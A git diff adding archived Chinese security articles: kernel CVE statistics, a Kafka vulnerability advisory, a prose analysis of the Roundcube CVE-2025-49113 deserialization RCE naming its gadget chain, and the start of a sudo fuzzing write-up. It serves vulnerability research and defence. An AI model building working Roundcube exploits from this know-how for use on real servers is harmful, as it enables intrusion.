diff --git a/data.json b/data.json
index 91767485..9e65fb1c 100644
--- a/data.json
+++ b/data.json
@@ -14994,5 +14994,24 @@
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616371&idx=1&sn=e12ff003aad2f2d456a8d64b1af1d093": "最新分析 | Mirai 利用 CVE-2024-3721 攻击 TBK DVR 设备",
"https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651463155&idx=1&sn=b6e6f751cf3e3300734697d8d00109b5": "信息安全漏洞月报(2025年5月)",
"https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247499968&idx=1&sn=c0a4acf073d44a93066277415a1b8beb": "CNVD漏洞周报2025年第21期",
- "https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526479&idx=1&sn=4cca7247d9bb128024ac51c166779b4a": "SRC 漏洞挖掘中的绕过 WAF 技巧"
+ "https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526479&idx=1&sn=4cca7247d9bb128024ac51c166779b4a": "SRC 漏洞挖掘中的绕过 WAF 技巧",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501170&idx=2&sn=e7ea349dff54c8123a16fa49b1158f9b": "【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818)",
+ "https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247503414&idx=1&sn=ac899c057f0552dd0ecad669c0863b2a": "【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113)",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNTA0NzgyMA==&mid=2247484267&idx=1&sn=9acb4f45d2ea2b3cf8a88262ef691961": "CLFS cve-2022-37969",
+ "https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651137136&idx=1&sn=476cddcaef4be59b5b96cf166775ebf4": "漏洞管理玩法已变,四大常见错误亟待摒弃",
+ "https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458595541&idx=1&sn=ca1223787e388345e955ac4b09a7ffad": "Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路",
+ "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490219&idx=2&sn=0501ee9f75de1f6f609c9c7c75b2d66e": "【高危漏洞预警】Apache Kafka Client配置造成远程代码执行漏洞CVE-2025-27818",
+ "https://mp.weixin.qq.com/s?__biz=Mzk0MjE3ODkxNg==&mid=2247489303&idx=1&sn=8578d9e5018f2ca8164a6590e29414d1": "【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞(CVE-2025-27817)",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247499492&idx=2&sn=151192a329acd78bab79ba17fb067d37": "KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞",
+ "https://mp.weixin.qq.com/s?__biz=MzkxMDQyMTIzMA==&mid=2247484871&idx=1&sn=93c960e76cecd00e2ac4a5d93e4e12b9": "【复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNTYwMTk4Mw==&mid=2247489508&idx=1&sn=0bfab3f39b28fb33bba8abd281d49b07": "Redis未授权漏洞复现汇总",
+ "https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247496573&idx=1&sn=f701e4ac102fbed8f25d4461e7b75f97": "【论文速读】| VADER:漏洞评估、检测、解释和修复的人工评估基准",
+ "https://mp.weixin.qq.com/s?__biz=MzkyNTY3Nzc3Mg==&mid=2247489961&idx=1&sn=9ceb6db022621cae9f729d0aaecf12d6": "漏洞挖掘实战之弯道超车",
+ "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490219&idx=1&sn=acf6dce0f219c2ea5a110199ed4b8a7f": "【高危漏洞预警】Apache Kafka Client 任意文件读取与SSRF漏洞CVE-2025-27817",
+ "https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555093&idx=1&sn=fd9d6588ba43744ec9add8e7e6f99d9f": "玩转网络漏洞挖掘,实战能力弯道超车",
+ "https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247487457&idx=1&sn=a167e6d3edc69691a44053b8b3e7a302": "实战讲解 Java代码审计之 FreeMarker模版注入漏洞",
+ "https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487384&idx=1&sn=5ffca9c9cb920ef8ad92e9b37a2cb559": "CVE-2025-49113 漏洞分析与利用方式",
+ "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503473&idx=1&sn=46559985ab4d7f8502c1c9f1268ebaac": "Apache Kafka 多个高危漏洞安全风险通告",
+ "https://mp.weixin.qq.com/s?__biz=Mzg3NjU0OTQyMg==&mid=2247484429&idx=1&sn=cb4fd855f8a0f2ad59111e3ef81bcdfb": "【漏洞预警】Apache Kafka Connect任意文件读取漏洞风险通告",
+ "https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247512431&idx=1&sn=4629ebc541371b4e846c5f90d68b8b42": "2024年度Linux内核漏洞类型及趋势分析"
}
\ No newline at end of file
diff --git a/doc/2025-06/2024年度Linux内核漏洞类型及趋势分析.md b/doc/2025-06/2024年度Linux内核漏洞类型及趋势分析.md
new file mode 100644
index 00000000..8ffb8e25
--- /dev/null
+++ b/doc/2025-06/2024年度Linux内核漏洞类型及趋势分析.md
@@ -0,0 +1,215 @@
+# 2024年度Linux内核漏洞类型及趋势分析
+原创 unr4v31 山石网科安全技术研究院 2025-06-10 09:06
+
+
+
+
+
+
+
+****
+****
+**Linux内核漏洞频发,2024年竟高达3119个!**
+
+****
+****
+
+
+
+
+Linux内核作为操作系统的核心,其安全性直接影响系统的稳定性与可靠性。通过对CVE数据的统计与分析,可以更好地理解内核漏洞的分布。
+
+
+本文统计了2024年Linux内核的CVE数据,共计3119个漏洞,数据来源于NVD。通过对这些漏洞的分析,我们将揭示内核中最易出现漏洞的子系统和常见的漏洞类型。
+
+
+
+
+**一、统计方式**
+
+
+为了对Linux内核的CVE进行有效统计和分析,需要对漏洞信息进行合理的分类。具体的统计和归类方法如下:
+
+- CVE数据获取:
+通过从NVD下载2024年CVE的JSON文件,筛选出漏洞描述中包含“Linux kernel”字段的条目。这种方法可以确保捕捉到与Linux内核相关的漏洞,虽然可能遗漏少部分,但对整体分析的影响较小。
+
+- CVSS评分:
+采用NVD提供的CVSS 3.1评分体系,评估每个漏洞的严重性。
+
+- 子系统归类:
+根据CVE补丁中涉及的源码路径,将漏洞按内核子系统进行分类,如drivers、net、fs、arch、mm、kernel、block等。
+
+- CWE分类:
+利用NVD中的CWE(Common Weakness Enumeration)信息对漏洞进行分类。若NVD未提供CWE类型,则统一归类为“other”。
+
+
+
+
+
+**二、子系统漏洞数量分布**
+
+****
+
+除了常见的drivers、net、fs、arch、mm、kernel、block等核心子系统外,某些特殊子系统如bpf和bluetooth也在内核中频繁暴露出漏洞,因此被单独归类。对于那些单个子系统漏洞占比不足1%的,其漏洞将统一归类为“other”类型。
+
+
+
+
+
+从统计结果中可以看出,漏洞数量最多的前三个子系统分别是
+内核驱动(drivers)
+、
+网络子系统(net)
+和
+文件子系统(fs)
+,它们的漏洞占比分别为45%、16.7%和14.3%。其中,内核驱动代码的漏洞占比最高,反映出内核驱动在安全漏洞中的重要性。驱动代码涉及的模块众多,包括WiFi、DRM显卡驱动、Staging驱动、SCSI设备驱动等,这些模块中漏洞的存在常常对系统的安全性构成威胁。对于那些占比不足1%的子系统漏洞,它们都被归类为“driver”类型,以简化分析。
+
+
+
+
+**三、CWE类型漏洞占比分析**
+
+****
+
+针对CWE(Common Weakness Enumeration)类型的统计有助于揭示Linux内核中不同漏洞类型的分布情况。对于占比小于1%的CWE类型,我们统一归类为“other”类型,该类别通常包含一些较为罕见的漏洞类型。
+
+
+
+
+
+从统计图中可以看出,排除掉NVD中无法归类的NVD-cwe-noinfo类型后,内核漏洞中最常见的CWE类型分别为:
+
+- CWE-476:
+空指针引用,通常发生在未初始化的指针被解引用时,可能导致系统崩溃或不可预测的行为。
+
+- CWE-416:
+使用后释放,发生在内存释放后继续访问该内存位置,常见于内存管理不当的漏洞。
+
+- CWE-667:
+不当锁定,发生在多线程或多进程环境下,资源的访问或修改未正确加锁,可能导致竞态条件或数据不一致的情况。
+
+- CWE-401:
+内存泄漏,指程序未能释放不再使用的内存,可能导致系统资源耗尽。
+
+- CWE-787:
+越界写,发生在数据超出预期的内存边界写入时,可能导致数据损坏或控制流劫持。
+
+- CWE-908:
+使用未初始化的资源,指程序访问或使用未经过初始化的资源,这可能导致未定义行为或系统崩溃。
+
+- CWE-125:
+越界读取,指程序读取的数据超出了预定缓冲区的范围,可能导致敏感数据泄露或应用崩溃。
+
+- CWE-362:
+并发执行中的资源竞争(竞态条件),指在并发执行环境中,多个进程或线程对共享资源的访问缺乏适当同步,导致数据不一致或程序行为异常。
+
+- CWE-12
+9
+:
+数组索引验证不当,指程序在计算或使用数组索引时,未对输入进行验证或验证不当,导致可能访问无效或越界的数组位置。
+
+- CWE-415:
+双重释放,指程序对同一内存地址调用两次内存释放函数,可能导致内存损坏或系统崩溃。
+
+
+
+
+
+**四、CVSS分数统计**
+
+****
+CVSS(Common Vulnerability Scoring System,公共漏洞评分系统)评分可以帮助我们评估每个漏洞的严重性,并反映出它们对Linux内核安全的潜在影响。为了准确分析,我们排除了没有CVSS评分(即评分为0)的漏洞。
+
+
+
+
+
+从统计结果来看,CVSS评分中占比最多的是5.5分,这类漏洞通常由空指针引用(CWE-476)等错误引起,可能导致内核崩溃或引发本地拒绝服务(DoS)攻击。这类漏洞往往能通过访问无效或未初始化的内存位置,触发内核错误,影响系统的稳定性。
+
+
+紧随其后的是
+7.8分
+的漏洞,占比排行第二。这类漏洞可能与
+使用后释放(CWE-416)
+、
+越界写(CWE-787)
+等相关,具有较高的利用价值,攻击者可以通过这些漏洞进行远程代码执行、权限提升或系统崩溃等操作。
+
+
+结合CVSS评分与CWE类型的分析,可以看出,Linux内核中的大部分高危漏洞主要集中在内存管理和指针操作方面,特别是空指针引用、内存释放不当等类型,这些漏洞往往易于利用并能造成严重后果。
+
+
+
+
+**五、总结**
+
+
+根据CVE统计和CWE分析,Linux内核中最常见的漏洞类型主要集中在以下几种:
+
+
+1.
+空指针引用(CWE-476)
+:
+这一类型的漏洞最为常见,通常发生在未初始化或空指针被解引用时,容易导致内核崩溃或拒绝服务攻击(DoS)。
+
+
+2.
+使用后释放(CWE-416)
+:
+这类漏洞在内存管理中非常常见,发生在内存释放后仍然访问该内存位置,可能导致未定义行为或系统崩溃。
+
+
+3.
+越界写(CWE-787)和越界读取(CWE-125)
+:
+这些类型的漏洞往往源于对内存边界的错误处理,可能导致数据损坏、信息泄露或控制流劫持。
+
+
+通过对内核子系统的统计,以下子系统频繁出现漏洞:
+
+
+1.
+内核驱动(drivers)
+:
+这一子系统占据漏洞总数的最大比例(45%),包括WiFi驱动、显卡驱动、SCSI驱动等。这些驱动代码由于涉及硬件交互,容易暴露安全漏洞,成为攻击者的重点目标。
+
+
+2.
+网络子系统(net)
+:
+占
+比为16.7%,网络相关的漏洞常涉及数据传输的安全性,可能导致远程攻击或信息泄露。
+
+
+3.
+文件系统(fs)
+:
+占比14.3%,文件系统的漏洞通常与文件操作、权限管理相关,可能被利用进行本地权限提升或数据泄露。
+
+
+根据CVSS评分和CWE类型分析,最容易被利用的漏洞类型通常具有较高的CVSS评分,具体包括:
+
+
+1.
+7.8分漏洞(CWE-416、CWE-787)
+:
+这
+些漏洞常涉及内存管理错误,可以导致远程代码执行或系统崩溃,攻击者可以轻松利用这些漏洞执行恶意代码。
+
+
+2.
+5.5分漏洞(CWE-476)
+:
+空指针引用问题,虽不如7.8分漏洞严重,但足以造成系统崩溃或拒绝服务(DoS)攻击,常见于内核级别的错误操作。
+
+
+
+
+山石网科是中国网络安全行业的技术创新领导厂商,由一批知名网络安全技术骨干于2007年创立,并以首批网络安全企业的身份,于2019年9月登陆科创板(股票简称:山石网科,股票代码:688030)。
+
+现阶段,山石网科掌握30项自主研发核心技术,申请560多项国内外专利。山石网科于2019年起,积极布局信创领域,致力于推动国内信息技术创新,并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发,旨在通过自主创新,为用户提供更高效、更安全的网络安全保障。目前,山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及
+基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务,50余个行业和场景的完整解决方案。
+
+
+
+
diff --git a/doc/2025-06/Apache Kafka 多个高危漏洞安全风险通告.md b/doc/2025-06/Apache Kafka 多个高危漏洞安全风险通告.md
new file mode 100644
index 00000000..fd592008
--- /dev/null
+++ b/doc/2025-06/Apache Kafka 多个高危漏洞安全风险通告.md
@@ -0,0 +1,148 @@
+# Apache Kafka 多个高危漏洞安全风险通告
+ 奇安信 CERT 2025-06-10 06:20
+
+●
+点击↑蓝字关注我们,获取更多安全风险通告
+
+
+
漏洞概述
|
漏洞名称 | Apache Kafka 多个高危漏洞 |
漏洞编号 | CVE-2025-27817、CVE-2025-27818、CVE-2025-27819 |
公开时间 | 2025-06-09 | 影响量级 | 十万级 |
奇安信评级 | 高危 | CVSS 3.1分数 | 7.5、8.8、8.8 |
威胁类型 | 信息泄露,代码执行 | 利用可能性 | 高 |
POC状态 | 未公开 | 在野利用状态 | 未发现 |
EXP状态 | 未公开 | 技术细节状态 | 未公开 |
危害描述: CVE-2025-27817:攻击者可以利用该漏洞,读取服务器上的敏感文件(如配置文件、环境变量等),或者发起 SSRF 攻击,访问内部网络或其他受限资源,从而获取敏感信息或进一步扩大攻击范围。 CVE-2025-27818:攻击者可以利用该漏洞通过精心构造的 LDAP 响应,触发 Java 反序列化漏洞,从而在 Kafka Connect 服务器上执行任意代码,获取服务器的控制权或进一步攻击其他系统。CVE-2025-27819:攻击者可以利用该漏洞,通过精心构造的 JNDI 配置,连接到攻击者控制的 LDAP 或 RMI 服务器,并反序列化恶意响应,从而在 Kafka 服务器上执行任意代码或导致服务不可用。 |
+
+
+**0****1**
+
+**漏洞详情**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响组件**
+
+Apache Kafka 是一款开源的分布式事件流平台,广泛用于高性能数据管道、流式分析和数据集成。它支持高吞吐量的消息传递,具备可扩展性、持久化存储和高可用性等特点,能够处理海量数据并支持多种编程语言的客户端库。
+
+**>**
+**>**
+**>**
+**>**
+
+**漏洞描述**
+
+近日,奇安信CERT监测到Kafka官方修复多个安全漏洞:
+Apache Kafka客户端任意文件读取漏洞(CVE-2025-27817)是由于在 SASL/OAUTHBEARER 和 SASL JAAS 配置中未对 URL 和登录模块进行严格限制,从而造成的客户端的敏感数据和内网信息泄露;
+Apache Kafka远程代码执行漏洞(CVE-2025-27818、CVE-2025-27819)则分别因允许使用 LdapLoginModule 和 JndiLoginModule ,可能触发 Java 反序列化漏洞,进而导致远程代码执行或拒绝服务攻击。**鉴于此漏洞影响范围较大,建议客户尽快做好自查及防护。**
+
+
+
+**02**
+
+**影响范围**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响版本**
+
+
+CVE-2025-27817:
+3.1.0 <= Apache Kafka <= 3.9.0
+
+CVE-2025-27818:
+
+2.3.0 <= Apache Kafka <= 3.9.0
+
+CVE-2025-27819:
+
+2.0.0 <= Apache Kafka <= 3.3.2
+
+**>**
+**>**
+**>**
+**>**
+
+**其他受影响组件**
+
+无
+
+
+**03**
+
+**处置建议**
+
+**>**
+**>**
+**>**
+**>**
+
+**安全更新**
+
+建议用户尽快升级到以下或更高的安全版本:
+
+Apache Kafka 3.9.1
+
+Apache Kafka 4.0.0
+
+官方补丁下载链接:
+
+https://kafka.apache.org/downloads
+
+**修复缓解措施:**
+
+
+对于使用受影响版本的用户,建议通过系统属性
+
+-Dorg.apache.kafka.disallowed.login.modules禁用LdapLoginModule,JndiLoginModule 和其他危险的登录模块。
+
+
+
+
+**04**
+
+**参考资料**
+
+[1]https://www.openwall.com/lists/oss-security/2025/06/09/
+
+
+
+
+**05**
+
+**时间线**
+
+2025年6月10日,奇安信 CERT发布安全风险通告。
+
+
+
+**06**
+
+**漏洞情报服务**
+
+
+奇安信ALPH
+A
+威胁分析平台已支持漏洞情报订阅服务:
+
+
+
+
+
+
+
+
+
+
+**奇安信 CERT**
+
+**致力于**
+第一时间为企业级用户提供**权威**
+漏洞情报和**有效**
+解决方案。
+
+
+
+点击↓**阅读原文**
+,到**ALPHA威胁分析平台**
+订阅更多漏洞信息。
+
diff --git a/doc/2025-06/CLFS cve-2022-37969.md b/doc/2025-06/CLFS cve-2022-37969.md
new file mode 100644
index 00000000..dc9b866e
--- /dev/null
+++ b/doc/2025-06/CLFS cve-2022-37969.md
@@ -0,0 +1,5 @@
+# CLFS cve-2022-37969
+原创 12138 我吃你家米了 2025-06-10 12:04
+
+阅读原文
+
diff --git a/doc/2025-06/CVE-2025-49113 漏洞分析与利用方式.md b/doc/2025-06/CVE-2025-49113 漏洞分析与利用方式.md
new file mode 100644
index 00000000..581fe948
--- /dev/null
+++ b/doc/2025-06/CVE-2025-49113 漏洞分析与利用方式.md
@@ -0,0 +1,389 @@
+# CVE-2025-49113 漏洞分析与利用方式
+原创 4uuu Nya 奇安信天工实验室 2025-06-10 07:06
+
+**目**
+
+**录**
+
+一、前 言
+
+二、版本diff
+
+三、复现环境
+
+四、漏洞分析
+
+五、总 结
+
+
+**一**
+
+
+**前 言**
+
+2025年6月2日公开了一个RoundCube邮件系统中的一个RCE漏洞,信息如下:
+
+
+
+影响版
+本<1.5.10 <1.6.11
+,
+虽
+然
+是一个认证后才可以触发的漏洞,但是评分却达到了9.9,接下来根据公开的漏洞信息对该漏洞进行分析与复现。
+
+二
+
+
+**版本diff**
+
+在本地下载1.6.10版本代码,diff 1.6.11版本发现主要是对
+type
+字段进行了过滤,
+type
+字段来源于
+_form
+ 和漏洞信息也能对应上:
+
+
+
+
+三
+
+
+**复现环境**
+
+
+由于RC官方提供了各个版本的docker镜像,所以只需要再简单配置一个dovecot和mysql用于正常登录即可,配置环境如下。
+
+**01**
+
+**docker-compose.yml**
+
+
+
+
+**02**
+
+**dovecot.conf**
+
+
+
+
+**03**
+
+**users**
+
+
+
+
+四
+
+
+**漏洞分析**
+
+
+**01**
+
+**漏洞入口**
+
+
+根据漏洞公开信息可以知道漏洞入口点位于
+program/actions/settings/upload.php
+,整体流程比较简单:
+
+
+
+在函数开始会对
+_from
+ 参数进行一些处理之后才赋值给
+type
+,这些处理并不会对参数进行任何安全的过滤,继续向下可以看到处理了一下上传文件,在文件被成功上传后会调用一次
+$this->session_append
+,并且这里带入了可控参数,后续没有了对这个字段的处理,所以可以推断出漏洞应该就出现在对session的反序列化上。
+
+
+跟入
+append
+ 函数,这是抽象类
+rcube_session
+ 中的函数:
+
+
+
+这里的
+$this->get_node
+ 函数第一个参数将传入的
+$path
+ 使用
+.
+ 进行了分割,也就是说会把传入的
+$type.files
+ 分割成
+$type
+ 和
+files
+,跟入这个函数:
+
+
+
+这里的第二个参数传入的是
+$_SESSION
+,也就是说如果当前session中不存在
+$type.files
+ 的键就会进行创建出来
+$_SESSION[$type]['files']
+ 这类的键(由于获取
+$type
+ 参数的时候将
+.
+转换成了
+-
+,导致无法无限制的向下创建任意键),之后再次向
+$type.files
+ 后添加了一层嵌套,key为上传文件处理后的
+attachment_id
+,内容为处理后的上传信息,大概内容信息如下:
+
+
+
+此时因为
+
+$type
+ 的原因,我们拥有了一次控制顶层key的能力,但此时还无法控制这个key的内容。
+
+**02**
+
+**session处理**
+
+
+rcube_session
+ 是roundcube自定义的一个对于session处理相关的类,在这里面hook了原生的几个方法:
+
+
+
+主要看到其中的
+sess_write
+:
+
+
+
+由于漏洞是认证后,所以一定存在旧数据,那么继续跟入到存在缓存的情况,跟入
+_fixvars
+:
+
+
+
+这里在对旧数据进行处理后,合并了已存储的session数据与当前的session数据,此时调用了一个自定义的
+unserialize
+ 对当前的session进行了一次反序列化处理,跟入到这个函数的定义:
+
+
+
+这里注意到对两个符号有特殊处理,一个是
+|
+ 一个是
+!
+,首先
+|
+ 的作用主要是用于分隔开key和value,当前session序列化后的值为
+key|value;key|value
+ 形式的键值对,而
+!
+ 则是将被这个符号标记的key值直接处理成
+s:len:"key";N;
+,但是这里存在一个问题,如果这个key本身就是一个数组或者对象,在对其添加
+N;
+ 之后仍然还有这个对象本身序列化后的值,而这些值将会被当做一个新的key直到遇到下一个
+|
+,从而造成逃逸的效果,以一个RC系统中部分session内容为例,其存储的序列化字符串如下:
+
+
+
+被RC自定义的序列化处理后正常应该会是下面的结果:
+
+
+
+但是如果将其中的一个key增加
+!
+标记,变成下面的情况:
+
+
+
+再经过自定义的反序列化处理,结果将会和预期出现很大的出入:
+
+
+
+可以发现,本身
+应该是
+language
+ 这个键的值
+5:"en_US"
+ 被当做了一个新的key的起始字符串,并且这个key长度为24,再将其继续进行原生反序列化函数进行处理后会得到下面的值:
+
+
+
+而如果language这个key是我们可控的值,并且在其之后还存在可控的值,就可以通过这次逃逸,将后续可控但并不在顶层的key逃逸出来,实现位于顶层的key、value都完全可控,此时再寻找一个对
+$_SESSION['key']
+ 进行原生反序列化操作的地方,即可实现一次任意对象的反序列化攻击。
+
+
+在
+program/actions/settings/upload.php
+ 的上传中,我们可以控制
+$_SESSION[$type]
+ 这个顶层的key,并且后续内容中的文件名同样没有过滤导致数据可控,如下所示:
+
+
+
+
+
+通过修改
+_from
+参数,尝试对其进行逃逸操作,实现控制顶层key与value,如下所示:
+
+
+
+
+
+至此拥有了任意对象反序列化的能力,在系统中存在一个使用原生反序列化处理session顶层key的地方
+program/include/rcmail.php[#logout]()
+_actions
+:
+
+
+
+所以需要在构造payload的时候,逃逸出来一个位于顶层的
+preferences
+ 键,再寻找到一个合适的gadget进行利用即可,但是需要注意的是由于文件名这个字段的特殊性,我们无法构造出带有路径符号的payload导致寻找gadget的时候有一些受限。
+
+**03**
+
+**pop chain**
+
+
+由于RC使用了
+guzzle
+ 理所当然想到
+FileCookieJar
+ 和
+FnStream
+,但是由于这两个类需要带入命名空间,受文件名的影响这两个gadget只能放弃,但是全局搜索后发现存在一个不需要命名空间并且析构函数中存在命令执行操作的类
+Crypt_GPG_Engine
+。
+
+
+
+所以这里可以直接构造出来
+$this->_gpgconf
+ 然后使用
+proc_open
+ 进行命令执行,比较简单的链,但是由于文件名处的干扰,这里需要做一下绕过。
+
+
+使用
+proc_open
+ 执行
+echo $0
+ 之后发现是
+sh
+,那么不用考虑这里没给
+proc_open
+ 传入包含
+PATH
+ 的环境变量,可以直接使用各个命令用于绕过,比如下面的命令:
+
+
+
+至此完成了反序列化的利用工作,通过配合logout中的
+unserialize($_SESSION['preferences'])
+,构造逃逸出一个
+preferences
+ 键即可。
+
+**04**
+
+**利用截图**
+
+
+
+
+五
+
+
+**总 结**
+
+
+本文从CVE-2025-49113的漏洞描述信息为入口点,找到RoundCube中对session进行自定义反序列化时会出现的问题,最终实现反序列化攻击导致RCE。这个漏洞的利用比较巧妙,同时也比较
+巧合
+,比如
+刚好存
+在一个没有命名空间又同时可以做命令注入
+的
+ Crypt_GPG_Engine
+
+类
+,也存在直接对session某项数据进行原生反序列化的地方。
+
+
+最终漏洞修复方式为对
+ $type
+
+参数进行了一次
+ rcube_utils::is_simple_string
+
+的过滤,其中只允许存在 \w.-
+
+的存在,无法再通过传入
+ !
+
+进行逃逸
+。
+
+
+【版权说明】
+
+【版权说明】
+
+本作品著作权归**4uuu Nya**
+所有
+
+未经作者同意,不得转载
+
+
+
+**4uuu Nya**
+
+
+天工实验室安全研究员,Nu1L Team,Web安全与代码审计。
+
+
+**往期回顾**
+
+
+**0****1**
+
+[CVE-2024-47575 漏洞分析及三种利用方式](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487354&idx=1&sn=44aee310cb9ef148d0a41a5da713e6c6&scene=21#wechat_redirect)
+
+
+**0****2**
+
+[通用Linux x64内核态shellcode编写技巧](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487321&idx=1&sn=64e8755abab262aca1104de5f3cceef3&scene=21#wechat_redirect)
+
+
+**0****3**
+
+[基于路由转发导致的权限认证绕过漏洞分析](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487296&idx=1&sn=4a1242ec620fb15daa80efad6cf99ae6&scene=21#wechat_redirect)
+
+
+**0****4**
+
+[隐匿与追踪:Rootkit检测与绕过技术分析](https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247487216&idx=1&sn=8b6fdfec8b4754eda7cfdbd4e8ab6a13&scene=21#wechat_redirect)
+
+
+
+
+
+**每周三更新一篇技术文章 点击关注我们吧!**
+
+
diff --git a/doc/2025-06/Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路.md b/doc/2025-06/Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路.md
new file mode 100644
index 00000000..c39a821d
--- /dev/null
+++ b/doc/2025-06/Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路.md
@@ -0,0 +1,1472 @@
+# Fuzz挖掘sudo提权漏洞:一次堆溢出如何逆向分析出提权思路
+Brinmon 看雪学苑 2025-06-10 09:59
+
+**1**
+
+**文章概述**
+#
+# 堆漏洞在二进制中是非常常见的,之前一直觉得CTF-Pwn的堆题没有任何实战价值,之后开始实战漏洞挖掘后发现大部分挖出来的奔溃样本都是堆内存相关的,这就引发了思考,堆内存触发的奔溃大部分都只能触发溢出到底该如何利用呢?但是我觉得这个应该是我自己的知识范围不够,之后去分析了很多其他的堆相关漏洞利用,但往往利用思路都不能够通用,所以出了这篇文章记一次sudo堆溢出如何逆向分析出提权思路,旨在以 sudo 提权漏洞为例,进行从漏洞挖掘到提权思路的全链路分析,为漏洞研究与防护提供更全面的参考。
+#
+# 本文只在提供一个在实战中堆溢出漏洞的可利用思路,网上的其他文章都只是零散的将 POC 进行分析,并没有解析出其中可以通用的堆操作手法,比如利用setlocale构造堆风水等等。分析和编写过程中可能有疏漏,如有问题请各位读者不吝指正。
+#
+# CTF-Pwn的堆题和实战堆漏洞的相关联系:Pwn的堆题提供了,操控堆结构的明确接口增删改查都有,但是在实际漏洞利用的时候是不会提供这些接口的,但是程序中必然会有堆操作,需要了解整个Linux机制,和逆向分析程序中的每一个堆操作,来筛选出可以控制的增删改查的堆操作!进而提升堆漏洞的可用性和实际价值!
+
+
+
+**2**
+
+**sudo调研与Fuzz方式考察**
+
+## 了解什么是sudo
+
+sudo(superuser do)是 Linux 和 Unix 系统中常用的命令,可以让普通用户以root权限执行命令 。它通过配置文件 /etc/sudoers 来管理用户权限。普通用户需要安装软件包,就可以通过 sudo 命令以 root 权限调用apt,无需切换到 root 账户,非常便捷。
+
+
+
+
+
+##
+## 考察sudo的工作原理与常规Fuzz的不兼容性
+
+当用户执行 sudo 命令时,会检查用户是否在 sudoers 文件中有相应的权限配置。有权限,sudo 会提示用户输入自己的密码,验证通过后,sudo 会切换到root身份,执行后续命令。执行完毕后,再恢复到原用户身份。
+
+
+而常规的Fuzz测试是通过向程序输入大量随机或变异数据,检测程序是否会出现崩溃、内存泄漏等异常情况。一般的输入方式是通过stdin或者文件输入,但是sudo的使用方式大部分是通过命令行参数实现的,且sudo的常规使用逻辑也会和Fuzz 存在诸多冲突之处:
+
+
+1.**密码输入问题**
+:sudo 执行需要输入密码,在自动化的 Fuzz 测试过程中,若等待密码输入,程序会挂起,导致测试中断。
+
+
+2.**命令行参数处理**
+:向 sudo 导入模糊测试数据时,需要考虑如何正确传递参数,避免因参数格式错误导致 sudo 无法执行或执行错误。
+
+
+3.**参数控制难题**
+:sudo 测试过程中的第一个参数(通常是要执行的命令)需要精准控制,若参数错误,可能无法触发有效测试或引发系统错误。
+
+
+4.**程序内部实现复杂性**
+:sudo 内部不仅实现了 sudo 功能,sudoedit 工具的代码实现也在 sudo 程序内部,通过软链接替换启动程序名称来区分功能。因此,进行 Fuzz 测试时,必须指定正确的启动程序名称,才能对 sudo 及其相关功能进行全面检测。
+
+## AFL++对命令行参数Fuzz的拓展
+
+一、argv_fuzz 功能概述
+
+
+传统的 AFL 工具支持对文件输入或标准输入进行模糊测试,而 AFL++ 的argv_fuzz工具,位于官方 GitHub 仓库的utils/argv_fuzzing目录下AFLplusplus/utils/argv_fuzzing at stable · AFLplusplus/AFLplusplus (github.com),专注于对通过命令行界面传递给程序的参数进行模糊测试。这意味着它能够模拟各种不同的命令行参数组合,帮助我们发现程序在处理参数过程中可能存在的漏洞。
+
+
+在实际应用中,例如在对 Curl 程序的审核中,通过对argv的模糊测试,成功挖掘出了程序中的重大安全隐患 ,案例:Curl 审核:一句玩笑话引出的重大发现_测试_参数_argv。
+
+
+当我们拥有目标程序的源代码时,可以借助argv-fuzz-inl.h头文件中的宏,改变程序的行为,使其从标准输入构建argv,进而实现对命令行参数的模糊测试。
+
+**准备工作**
+:首先,在源文件中包含argv-fuzz-inl.h头文件,即添加[#include]()
+ "argv-fuzz-inl.h"语句。接着,找到程序中负责解析参数的主函数,通常形式为int main(int argc, char **argv) 。
+
+
+**宏的使用**
+:在主函数开头附近,根据需求选择合适的宏来初始化argv。若无需保留argv[0]
+(程序名称),可使用AFL_INIT_ARGV();;若希望保留argv[0]
